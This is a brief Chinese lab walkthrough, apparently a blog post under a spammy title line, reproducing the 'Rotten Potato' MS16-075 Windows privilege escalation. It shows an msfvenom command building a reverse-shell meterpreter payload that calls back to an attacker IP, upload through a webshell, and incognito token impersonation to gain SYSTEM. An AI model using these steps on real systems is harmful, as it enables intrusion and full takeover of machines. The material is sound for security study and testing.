中国建筑网建设通网站_oa协同办公系统平台_搜外友链_电脑培训学校哪家好

烂土豆提取

所谓的烂土豆提权就是俗称的MS16-075,其是一个本地提权,是针对本地用户的,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别

复现

上线webshell靶机为windows server 2012 r2

使用msf生成木马，利用蚁剑上传至靶机
生成木马shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.128 LPORT=4444 -f exe > shell.exe

msf设置监听，利用蚁剑执行shell.exe

执行成功，查看当前权限，为Administrator

将potato.exe上传

开始提权
执行potato.exeexecute -cH -f ./potato.exe
利用模块use incognito
列出令牌list_tokens -u
令牌窃取impersonate_token "NT AUTHORITY\\SYSTEM"

提权成功